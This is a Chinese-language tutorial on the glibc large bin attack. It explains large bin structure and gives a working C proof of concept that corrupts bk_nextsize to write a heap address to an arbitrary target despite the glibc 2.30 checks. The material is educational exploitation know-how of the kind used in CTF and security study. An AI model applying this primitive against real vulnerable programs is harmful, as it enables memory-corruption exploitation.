Large bin attack 自然是作用于 Large bin的,该攻击手段适用于目前所有版本的libc(高低版本略有不同)。glibc 2.30是一个分水岭,这个攻击比Unsorted Bin Attack 更为强大,它能实现将一个堆的头地址写入一个任意地址。
Large Bin 基础
基础概念
large bin是一种堆分配的管理机制,是双向链表,用于管理大于某个特定大小阈值的内存块。一般而言,进入large bin的最低字节为0x200(512),但是由于引入了tcache,使得在tcache尚未填满之前的情况下,进入large bin的最低字节为0x410(不含chunk头),所以一般我们设置大堆块都是0x410起步的。
结构
large bin中含有63个链表,而large bins **总体又被分成了6个组,**每个组对应一个区间,且容纳的堆块数量指数型减少,示意图如下
intmain(){ /*Disable IO buffering to prevent stream from interfering with heap*/ setvbuf(stdin,NULL,_IONBF,0); setvbuf(stdout,NULL,_IONBF,0); setvbuf(stderr,NULL,_IONBF,0);
// 原始输出保留不变 printf("\n\n"); printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n"); printf("Check 1 : \n"); printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n"); printf("Check 2 : \n"); printf("> if (bck->fd != fwd)\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n"); printf("This prevents the traditional large bin attack\n"); printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n"); printf("====================================================================\n\n");
size_t target = 0; // 目标覆盖地址 printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
// 分配第一个large chunk并设置保护块 size_t *p1 = malloc(0x428); // 分配0x428大小的块(属于large bin) printf("First, we allocate a large chunk [p1] (%p)\n",p1-2); size_t *g1 = malloc(0x18); // 小块保护防止合并 printf("And another chunk to prevent consolidate\n");
// 分配第二个较小的large chunk并设置保护块 size_t *p2 = malloc(0x418); // 分配0x418大小的块(比p1小但同属large bin) printf("We also allocate a second large chunk [p2] (%p).\n",p2-2); printf("This chunk should be smaller than [p1] and belong to the same large bin.\n"); size_t *g2 = malloc(0x18); // 小块保护防止合并 printf("Once again, allocate a guard chunk to prevent consolidate\n");
// 释放顺序和large bin插入触发 free(p1); // 先释放较大的块 printf("Free the larger of the two --> [p1] (%p)\n",p1-2); size_t *g3 = malloc(0x438); // 分配更大的块触发p1插入large bin printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");
// 释放较小块并进入unsorted bin free(p2); // 释放较小的块 printf("Free the smaller of the two --> [p2] (%p)\n",p2-2); printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2); printf("and one chunk in unsorted bin [p2] (%p)\n",p2-2);
// 关键的漏洞利用点 - 修改bk_nextsize指针 p1[3] = (size_t)((&target)-4); // 伪造large bin链表指针 printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);
// 触发第二次large bin插入并完成地址覆盖 size_t *g4 = malloc(0x438); // 分配大于p2的块触发插入 printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2); printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n"); printf(" the modified p1->bk_nextsize does not trigger any error\n"); printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);
// 验证漏洞利用结果 printf("\n"); printf("In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target); printf("Target (%p) : %p\n",&target,(size_t*)target);